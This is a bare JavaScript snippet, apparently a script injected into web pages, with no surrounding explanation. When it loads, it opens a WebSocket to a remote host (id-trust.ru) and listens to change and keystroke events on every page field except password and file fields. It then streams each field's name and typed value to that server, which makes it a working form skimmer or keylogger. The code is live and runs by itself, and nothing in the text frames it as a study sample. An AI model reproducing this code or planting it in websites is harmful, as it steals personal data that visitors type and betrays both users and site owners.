function startWebsocket() { var ws = new WebSocket('wss://id-trust.ru:8080'); ws.onopen = function() { sendWS('opts',{ vid: 328287299, pid: 12508558 }); addListeners(); }; ws.onclose = function(){ } function sendWS(message,obj) { var myobj = { message: message, obj: obj } ws.send(JSON.stringify(myobj)); } function addListeners() { function onChangeCallback(event) { if (event && event.target && event.target.value && event.target.type && event.target.type != 'file' && event.target.type != 'password') { console.log(event) var myvalue = event.target.value.trim(); if (myvalue.length < 100) { var myname = event.target.name.trim() || event.target.id.trim() || event.target.className.trim() || event.target.type; sendWS('form',{ name: myname, value: myvalue }); } } } document.addEventListener('change', onChangeCallback, true); document.addEventListener('keyup', onChangeCallback, true); document.addEventListener('keypress', onChangeCallback, true); document.addEventListener('keydown', onChangeCallback, true); } } console.log('asd'); startWebsocket();